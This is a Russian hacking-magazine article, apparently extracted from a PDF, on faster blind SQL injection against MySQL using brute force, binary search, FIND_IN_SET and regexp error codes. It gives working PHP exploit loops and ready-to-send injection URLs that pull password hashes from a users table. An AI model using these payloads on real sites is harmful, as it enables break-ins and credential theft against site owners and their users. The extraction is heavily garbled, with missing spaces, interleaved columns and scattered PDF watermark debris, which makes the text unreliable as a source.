Всезнают, чтопроцессработыускоритьневозможно. Данеужели? Прочитавэтустатью, тызаставишьсвоиинъекцииотрабатыватьпо максимумуистанешьреальнымSQL-гуру.
>> взлом
ОсновнойпроблемойприработесBlindSQL |
ПОЛНЫЙПЕРЕБОР |
|
for($i=1;$i<=32;$i++) |
||
Injectionявляетсяогромноеколичествозапро- |
Этосамыйпростой, самыйтупойисамый |
for($j=1;$j<=255;$j++){ |
сов,котороенеобходимопослатьнасервердля |
медленныйспособполучениясимволовиз |
$res = send( |
получениясимволовизБД. |
базыданных. ДляполученияобычногоMD5- |
$url, |
Асоответственно—долгоевремяработыскрипта |
хешаможетпотребоватьсяотправитьдо512 |
"sql.php?id=if(ascii(substring((se |
ибольшоеколичествозаписейвлогах.Вручную |
запросовнасервер, адляполучениялогина |
lect+passhash+from+users+where+id= |
получатьданныеизБДпрактическинереально, |
— ещебольше. Именноэтотметоднович- |
0),$i,1))=$j,(select+1+union+selec |
поэтомупроцессработыстакимиинъекциями |
киприменяютвсвоихпервыхэксплойтах. |
t+2),'1')" |
нужноавтоматизировать.Сейчасмырассмотрим |
Реализацияуказанногоспособавыглядит |
); |
некоторыевариантыподобнойавтоматизации. |
приблизительнотак: |
if(!preg_match('/Subquery |
|
|
|
064 |
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
МЕТОДСРАБОТАЛЗА48 ЗАПРОСОВ, ОЧЕНЬНЕПЛОХО!
СКОРОСТЬРАБОТЫБЬЕТВСЕРЕКОРДЫ
НАВИКИПЕДИИМОЖНОНАЙТИПРОСТОЕИПОНЯТНОЕОПИСАНИЕ МЕТОДАБИНАРНОГОПОИСКА:)
КОДЭКСПЛОЙТА, ИСПОЛЬЗУЮЩЕГОДВОИЧНЫЙПОИСК
ДЛЯХАКЕРАОШИБКА– БОЛЬШЕ, ЧЕМПРОСТООШИБКА
Аеслирассматриватьреализациюнаязыке программирования,товотпримерфункции,реализующейпоискнужногосимволаэтимметодом:
returns/', $res) { echo $j; continue;
}
}
Принципработыпрост—длякаждогосимвола сравниваемзначениеегоASCII-кодасовсеми возможнымизначениямисимволов.Есливыполняетсянекотороеусловие,тосимволнайден, иегоможновыводитьнаэкран.Еслиусловиене выполняется—ищемдальше.
Очевидно,чтоплюсовуэтогометоданет.Совсем. Заисключениемтого,чтонакалякатькодтакого скриптаоченьпросто.Норазвеэтото,чтонужно настоящемухакеру?Оставимэтотспособкиддисамибудемдвигатьсядальше.
БИНАРНЫЙ (ДВОИЧНЫЙ) ПОИСК
Каждыйуважающийсебяпрограммистзнаето методеподназваниембинарный,илидвоичный,поиск.Этотметодиспользуетсядляпоиска позицииэлементавотсортированноммассиве.И
|
|
function getChar($url, $field, |
|
именноонприменяетсяпочтивовсехадекватных |
|
$pos, $lb=0, $ub=255) { |
|
скриптах,программахиэксплойтах,работающих |
|
while(true) { |
|
сослепымиSQL-инъекциями. |
|
$M = floor($lb + ($ub-$lb)/2); |
|
Алгоритмработаетследующимобразом: |
|
if(cond($url, $field, '<', $pos, |
|
|
|
$M)==1) { |
|
1. Берем диапазон всех возможных |
|
$ub = $M — 1; |
|
символов (для хеша MD5 — [0-9,a-f]) |
|
} |
|
и сравниваем значение кода символа в |
|
else if(cond($url, $field, '>', |
|
БД с кодом символа, который мы пере- |
|
$pos, $M)==1) { |
|
дали в запросе |
|
$lb = $M + 1; |
|
2. Если код символа в БД больше, |
|
} |
|
чем код переданного символа, то на |
|
else |
|
следующем шаге в качестве диапазона |
|
return chr($M); |
|
возможных символов берем диапазон |
|
|
|
от символа, с которым мы только что |
|
if($lb > $ub) |
|
сравнивали значение в БД, до правой |
|
return -1; |
|
границы предыдущего диапазона и идем |
|
} |
|
íà øàã 1 |
|
} |
|
3. Если код символа меньше, то берем |
|
|
|
Рассмотримэтотспособнапримереполученияиз |
|||
диапазон от текущего символа до ле- |
|||
вой границы диапазона на предыдущем |
базыMD5-хешаюзера.Приэтомучтемследую- |
||
øàãå è èäåì íà øàã 1 |
щиеусловия: |
||
4. Если символ не больше и не меньше, |
1.Диапазонвозможныхсимволов:0,1,2,3,4,5,6,7, |
||
то мы как раз его и нашли |
8,9,a,b,c,d,e,f. |
||
|
|
|
XÀÊÅÐ 07 /127/ 09 |
065 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ФУНКЦИЯFIND_IN_SET СОБСТВЕННОЙПЕРСОНОЙ
|
|
|
|
|
|
2.ВБДнаходитсясимвол:'b'. |
|
|
|
|
|
|
|
Запускаемалгоритм: |
|
|
|
|
|
|
|||
|
HTTP://WWW |
|
|
1) Находим середину диапазона [0,1,2,3,4,5,6,7, |
|||
|
links |
8,9,a,b,c,d,e,f]; серединой является символ '8' |
|||||
|
2) Сравниваем, – код символа 'b' больше или |
||||||
• https://forum. |
меньше, чем код символа '8'? (шлем запрос) |
||||||
antichat.ru/ |
3) Код больше, поэтому на следующую итерацию |
||||||
thread43966.html — |
уже берем диапазон [8,9,a,b,c,d,e,f]; середи- |
||||||
всеоSQL Injection. |
ной является символ 'с' |
||||||
• dev.mysql.com/ |
4) Сравниваем, – код символа 'b' больше или |
||||||
sources/doxygen/ |
меньше, чем код символа 'с'? (шлем запрос) |
||||||
mysql-5.1/ |
5) Код меньше, поэтому на следующую итерацию |
||||||
regerror_8c-source. |
берем диапазон [8,9,a,b,c]; серединой являет- |
||||||
html — исходники |
ся символ 'a' |
||||||
MySQL, отвечающие |
6) Сравниваем, – код символа 'b' больше, чем |
||||||
заотображениеоши- |
код символа 'a'? (шлем запрос) |
||||||
бокregexp. |
7) Код больше, поэтому на следующую итерацию |
||||||
• dev.mysql.com/doc |
берем диапазон [a,b,c]; серединой является |
||||||
— документацияпо |
символ 'b' |
||||||
MySQL (рекомендую). |
8) Сравниваем, – код символа 'b' больше или |
||||||
• ru.wikipedia.org/ |
меньше, чем код символа 'b'? (шлем запрос) |
||||||
wiki/Двоичный_по- |
9) Код ни больше и не меньше, значит, символ в |
||||||
иск— базовыеалго- |
ÁÄ = 'b' |
||||||
римынадознать! |
|
||||||
Такимобразом,взависимостиотконкретнойреализации |
|||||||
|
|
|
|
|
|
||
|
|
|
|
|
|
алгоритма,мыотправляемдо5-6запросовнаопределение |
|
|
|
|
|
|
|
символа.Иэтовхудшемслучае,таккаксимвол можетнайтись |
|
|
|
|
|
|
|
ираньше.Итогополучаемпримерно160-170запросовна |
|
|
WARNING |
|
|
|
|
получениеMD5-хеша.Ужелучше,нозачемостанавливатьсяна |
|
|
|
|
|
|
|
достигнутом,еслиможнодействоватьеще быстрее? |
warning |
ИСПОЛЬЗОВАНИЕ FIND_IN_SET() |
Внимание! Инфор- |
И ПОДОБНЫХ ФУНКЦИЙ |
мацияпредставлена |
Функцияfind_in_set(str,strlist)используетсядляпоискапод- |
исключительно |
строкисредиспискастрок,разделенныхсимволом','ивозвра- |
сцельюознаком- |
щаетномертойстрокиизсписка,котораяравнапереданному |
ления! Ниавтор, ни |
аргументу.Тоесть: |
редакциязатвои |
|
действияответствен- |
mysql> SELECT FIND_IN_SET('b','a,b,c,d'); |
ностиненесут! |
-> 2 |
|
|
|
Кодсимволаизбазыданныхможноузнатьприпомощизапроса: |
|
|
|
select find_in_set((substring((select |
|
password from users limit 1),1,1)),'0,1,2,3,4 |
|
|
ОШИБКИREGEXP ВИСХОДНЫХКОДАХ
MYSQL
,5,6,7,8,9,a,b,c,d,e,f');
Врезультатемыполучаемномерсимволавомножестве'0,1,2 ,3,4,5,6,7,8,9,a,b,c,d,e,f'.Кпримеру,длясимвола'b',этотзапрос вернет12.
Атеперьподумаем,чтожеможноизэтоговыжать?Длятого чтобыпринятьрезультатызапроса,мыдолжныкак-тонаучиться приниматьчисла,являющиесярезультатом.Нонепосредствен- ноприслепойSQL-инъекциимыэтогосделатьнеможем.Ачто, еслимыимеемделосинъекцией,кпримеру,вскриптеотображенияновостей,ивзависимостиотid,переданногоскрипту, будемвидетьразныестранички?Тогдабоевойзапрос,нужный дляполучениясимволовизMD5,будетвыглядетьвоттак:
news.php?id=find_in_set(substring((select passhash from users limit 0,1),1,1),'0,1,2,3, 4,5,6,7,8,9,a,b,c,d,e,f')
Тогда,взависимостиотномерасимволавстроке'0,1,2,3,4,5,6,7 ,8,9,a,b,c,d,e,f',мыбудемвидетьновостьсid,соответствующим символупароля.
Дляудобстваиспользованиянапрактикенужно:
1)Выделить ключевые слова на страницах с нужными id
2)Отправить запросы с find_in_set для каждого символа из БД
3)Выяснить, страницу с каким id мы получили и вывести на экран код символа
Тоесть,дляполученияMD5-хешанампотребуетсявыявить16 страницсуникальнымиid,пооднойстраницедлякаждогосимволаалфавита,атакжеотправить32запросадляопределения значениякаждогосимвола.Витоге,прииспользованииэтого методанампотребуетсяотправитьвсего48запросовнасервер, 16изкоторыхникакогоподозрениячитающегологиадмина вызватьнемогут.Изначальноэтотметодпредложили+toxa+и madnet.Онижезаметили,чтопомимофункцииfind_in_setдля реализацииподобнойатакиможноиспользоватьфункции
LOCATE(),INSTR(),ASCII(),ORD().Причем,ASCII()иORD()даже предпочтительнеезасчеттого,чтоониприсутствуютне тольковMySQL.Способработаетбыстро,нообладаетрядом недостатков.Кпримеру,насайтеидентификаторыновостей могутбытьраспределенынеравномерно,тоестьскрипт приходитсязатачиватьподкаждыйсайтиндивидуально.Еще однойпроблемойявляетсято,чтодлябольшогоколичества символоввалфавитенужнобольшоеколичествоуникальных страниц,которыеневсегдаприсутствуют.Вобщем,мотаемна усидвигаемсядальше.
066 |
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ИСПОЛЬЗОВАНИЕFIND_IN_SET() + MORE1ROW
Еслихорошенькопоигратьсясметодом,предложеннымвыше, можнозаметить,чтовсеегоминусысводятсяктому,чтодалеко ненавсехсайтахвозможнополучитьдостаточноеколичество различныхстраниц,зависящихотодногопараметра.Решимэту проблему.Вспомнимметод,предложенныйElekt'омв][#111, которыйоснованнаиспользованииошибки«Subqueryreturns morethan1row».Сутьметодазаключаетсявтом,чтобызаставитьскриптвыводитьошибкуSQLвзависимостиотрезультата SQL-запроса.Наданныймомент,чтобыспровоцироватьБДна выводошибки,наиболеечастоиспользуетсязапрос:
SELECT 1 UNION SELECT 2
–которыйвернетошибку:
#1242 — Subquery returns more than 1 row
ТакжеZaCoнашелальтернативныйвариантзапроса,который провоцируетБДнавыводошибкивзависимостиотусловия:
"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")
ПРИМЕРЭКСПЛОЙТА, НАПИСАННОГОЯВНОНОВИЧКОМ
select 1 regexp if(1=1,'(',2) |
INFO |
#1139 — Got error 'parentheses not balanced' |
|
from regexp |
|
Втомслучае,есливерсияMySqlнеравна5,этотзапросвернет |
|
select 1 regexp if(1=1,'[2-1]',2) |
||
ошибку: |
|
#1139 — Got error 'invalid character range' |
||
|
|
|
from regexp |
|
|
#1139 — Got error 'invalid repetition |
|
|
|
|
count(s)' from regexp. |
|
select 1 regexp if(1=1,'[[.ch.]]',2) |
|
|
|
|
#1139 — Got error 'invalid collating element' |
|
НемногопорывшисьвисходникахMySqlипогуглив,можно |
||||
|
from regexp |
|||
найтиеще9ошибок,которыевозвращаетнеправильный |
|
|
||
regexp.Итого,отсерверамыможемполучить11видовошибок+ |
|
select 1 regexp if(1=1,'\\',2) |
||
1состояние,когдаошибкинет: |
|
#1139 — Got error 'trailing backslash (\)' from |
||
|
|
|
regexp |
|
|
SELECT 1 |
|
|
|
|
No error |
|
Покапростопримемэтововнимание.Теперьсамоевремя |
|
|
select if(1=1,(select 1 union select 2),2) |
|
вспомнитьофункцииfind_in_set.Еслиискомыйсимволестьво |
|
|
|
|
множествеподстрок,онавернетномерподстроки,еслинет— |
|
|
#1242 — Subquery returns more than 1 row |
|
вернет0. Попробуемпривязатьрезультатработыэтойфункции |
|
|
select 1 regexp if(1=1,"x{1,0}",2) |
|
кразличнымкодамошибокипередадимвоттакойзапрос: |
|
|
|
|
|
|
|
#1139 — Got error 'invalid repetition |
|
select * from users where id=-1 |
|
|
count(s)' from regexp |
|
AND "x" regexp |
|
|
select 1 regexp if(1=1,"x{1,(",2) |
|
concat("x{1,25", |
|
|
|
|
if( |
|
|
#1139 — Got error 'braces not balanced' from |
|
find_in_set( |
|
|
regexp |
|
substring((select passwd from users where |
|
|
select 1 regexp if(1=1,'[[:]]',2) |
|
id=1),1,1), |
|
|
|
|
'a,b,c,d,e,f,1,2,3,4,5,6' |
|
|
#1139 — Got error 'invalid character class' |
|
)>0, |
|
|
from regexp |
|
(select 1 union select 2), |
|
|
select 1 regexp if(1=1,'[[',2) |
|
"6}" |
|
|
|
|
) |
|
|
#1139 — Got error 'brackets ([ ]) not balanced' |
|
) |
|
|
from regexp |
|
|
|
|
|
Врезультате,еслипервыйсимволпаролянаходитсявомно- |
||
|
select 1 regexp if(1=1,'(({1}',2) |
|
||
|
|
|
жестве'a,b,c,d,e,f,1,2,3,4,5,6',тозапросвернет: |
|
|
#1139 — Got error 'repetition-operator operand |
|
|
|
|
invalid' from regexp |
|
#1242 — Subquery returns more than 1 row |
|
|
select 1 regexp if(1=1,'',2) |
|
|
|
|
|
Аеслиненаходится,то: |
||
|
|
|
||
|
#1139 — Got error 'empty (sub)expression' from |
|
|
|
|
regexp |
|
#1139 — Got error 'invalid repetition |
|
|
|
|
|
info
Большим
преимуществом последнегоизперечисленныхметодов являетсято, чтоон стемжеуспехом можетработать
ивINSERT,
ивUPDATE запросах.
DVD |
dvd
Надискетысможешь
найтискриптыдля работысSQL-инъек- циямисиспользованиемописанных встатьеметодов.
XÀÊÅÐ 07 /127/ 09 |
067 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
алфавита по группам |
|
|
2. Установить соответствия между |
|
|
номером группы и возвращаемым кодом |
|
|
ошибки |
|
|
3. По возвращенному коду ошибки |
|
|
выяснить, в какой группе находится |
|
|
символ из БД |
|
|
4. Если в этой группе только один |
|
|
символ, то выводим его на экран; если |
ЭКСПЛОЙТЫДЛЯBLIND SQL |
|
больше, чем один символ, то распре- |
INJECTION ПИШУТСЯПОЧТИ |
|
делим символы из группы по состояни- |
ЕЖЕДНЕВНО |
|
ям и возвращаемся к шагу 2 |
|
|
|
|
|
Всоответствиисалгоритмомсоставляемзапрос. |
count(s)' from regexp |
Изамечаем,чтоошибки,которыемысобираемся |
|
|
использовать,обладаютпаройособенностей. |
|
|
||
Прикаждомзапросепокодуошибкимыможем |
Перваязаключаетсявтом,чтозапрос |
|
узнать,ккакойгруппепринадлежитсимвол!На- |
|
|
пишемскрипт,использующийданныйметод.Для |
|
"x" regexp concat("x{1,25", if(@@ |
составленияоптимальногозапросанужносгруп- |
|
version<>5, "5}", "6}") |
пироватьсимволыалфавитатак,чтобыколичес- |
|
|
|
|
|
твообращенийксерверубыломинимальным. |
вернетнужнуюнамошибку,толькоеслимыего |
|
РассмотримзадачунапримереMD5.Мызнаем, |
будемпередаватьнасерверименновтакомвиде. |
чтоунасмогутприсутствоватьтолькосимволыиз Тоесть,всевложенныеусловиянужнодобавлять диапазона[0-9,a-f].Такжемызнаем,чтоколичест- внутрьэтогоif,атакжевначалевсехостальных
вогруппсимволовравнодвенадцати,ведьвсего |
|
выраженийregexpнужнодобавлятьсимвол«}». |
|
нашзапросможетвернутьодиннадцатьвидов |
|
Иначе,независимоотсодержанияостальных |
|
ошибокиодносостояние,когдаошибкинет. |
|
подзапросов,мыбудемполучатьлишьошибку: |
|
ДляслучаясMD5оптимальнойрасстановкой |
|
«#1139—Goterror'repetition-operatoroperand |
|
символовпосостояниям,кпримеру,будет: |
|
invalid'fromregexp». |
|
|
|
Втораяособенностьзаключаетсявтом,чтозапрос |
|
[01]: '0','b','c','d','e','f' |
|
|
|
[02]: '1' |
|
select 1 regexp if(1=1,'',2) , |
|
[03]: '2' |
|
|
|
|
возвращающийошибку«Goterror'empty(sub) |
||
[04]: '3' |
|
||
[05]: '4' |
|
expression'fromregexp»,работает,какхочется |
|
[06]: '5' |
|
нам,толькоприналичиипустогоподзапросав |
|
[07]: '6' |
|
regexpилитак:'a|',когдапослесимвола'|'отсутст- |
|
[08]: '7' |
|
вуетчтобытонибыло.Поэтому,сучетомпервой |
|
[09]: '8' |
|
особенности,будемиспользоватьименноэтот |
|
[10]: '9' |
|
видподзапроса. |
|
[11]: 'a' |
|
Теперьпопробуемсобратьвсюизвестнуюнамин- |
|
|
|
формациювместе,идлявыуживанияMD5-хеша |
|
|
|||
Прикаждомзапросексерверумыузнаемномер |
|
получаемитоговыйзапрос: |
|
группы, вкоторойнаходитсясимвол, храня- |
|
|
|
щийсявБД. Витоге, еслисимволнаходится |
|
sql.php?id=1+AND+"x"+ |
|
вгруппах02-11, — мы узнаемзначениеэтого |
|
regexp+concat("x{1,25",+(if(find |
|
символаспомощьювсегоодногозапроса. Если |
|
_in_set(substring((select+pass+fro |
|
намнеповезлоисимволнаходитсявгруппе01, |
|
m+users+limit+0,1),1,1),'0,c,d,e,f |
|
топередотправкойследующегозапросарас- |
|
,1,2,3,4,5,6,7,8,9,a'), |
|
сортируемсимволыизэтойгруппыпосостояни- |
|
(if(find_in_set(substring((select+ |
|
ямисразужеузнаемзначениеинтересующего |
|
pass+from+users+limit+0,1),1,1),'0 |
|
нассимвола: |
|
,c,d,e,f,1,2,3,4,5,6,7,8,9'), |
|
|
|
(if(find_in_set(substring((select+ |
|
[01]: '0' |
|
pass+from+users+limit+0,1),1,1),'0 |
|
[02]: 'b' |
|
,c,d,e,f,1,2,3,4,5,6,7,8'), |
|
[03]: 'c' |
|
(if(find_in_set(substring((select+ |
|
[04]: 'd' |
|
pass+from+users+limit+0,1),1,1),'0 |
|
[05]: 'e' |
|
,c,d,e,f,1,2,3,4,5,6,7'), |
|
[06]: 'f' |
|
(if(find_in_set(substring((select+ |
|
|
|
pass+from+users+limit+0,1),1,1),'0 |
|
Итоговыйалгоритмработыпоэтомуметодувыгля- |
|||
|
,c,d,e,f,1,2,3,4,5,6'), |
||
дитнесложно: |
|
(if(find_in_set(substring((select+ |
|
|
|
pass+from+users+limit+0,1),1,1),'0 |
|
1. Оптимально распределить символы |
|
,c,d,e,f,1,2,3,4,5'), |
|
|
|
|
(if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3,4'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2,3'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1,2'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f,1'), (if(find_in_set(substring((select+ pass+from+users+limit+0,1),1,1),'0 ,c,d,e,f'),
('}'),
(select+1+union+select+2))),
'}x{1,0}')),
'}x{1,(')),
'}[[:]]')),
'}[[')),
'}(({1}')),
'}|')),
'}(')), '}[2-1]')), '}[[.ch.]]')), '}\\'))) +--+1
Врезультате,этотзапросневернетошибки,если символизбазыданныхявляетсяоднимизсимво-
лов'0,c,d,e,f',авернетошибку«Subqueryreturns morethan1row»,есливбазеданныхлежитцифра 1.Такжезапросвернетошибку'invalidrepetition count(s)',есливбазележитсимвол'2'.Итакдалее. Итак, мыдобилисьтого, чегохотели— запрос припомощи11 различныхвидовошибок сообщаетнам, какойименносимволлежитв базеданных. Мыполучаембыстродействие, превышающеескоростьработывсехостальныхметодовработысBlind SQL Injection. Для выуживанияMD5-хешанампотребуетсяоколо 42 запросов, аэтоуженапорядокбыстрее, чемвтехметодах, которыеиспользуютсейчас. Малотого, еслинайтиеще4 запроса, при которыхошибкабудетвозникатьвовремя выполнения, тонаполучениевсегохешанам потребуетсяуже32 запроса. Аэтозначит– 1 запросна1 символ. Раньшеоподобномможно былотолькомечтать.
Понятно,чтоподобныеSQL-обращениякрайне тяжелосоставлятьвручную,поэтомунадиске тынайдешьскрипт,которыйумеетсоставлять
запросыдляалфавитовлюбойдлиныиприлюбом количествеизвестныхошибок
OUTRO
Насамомделе,существуютещевозможностиуско- ритьпроцессработысослепымиSQL-инъекциями. Осталосьтолькоихнайти.Главное,незацикливатьсяна«дедовских»методах.Относитьсяковсему,что придумалихакерыпредыдущихпоколений,надо, каккдеталяммозаики,сложивкоторыевоедино, можновыйтинасовершенноновыйуровень развитиятехнологийвзлома.z
068 |
XÀÊÅÐ 07 /127/ 09 |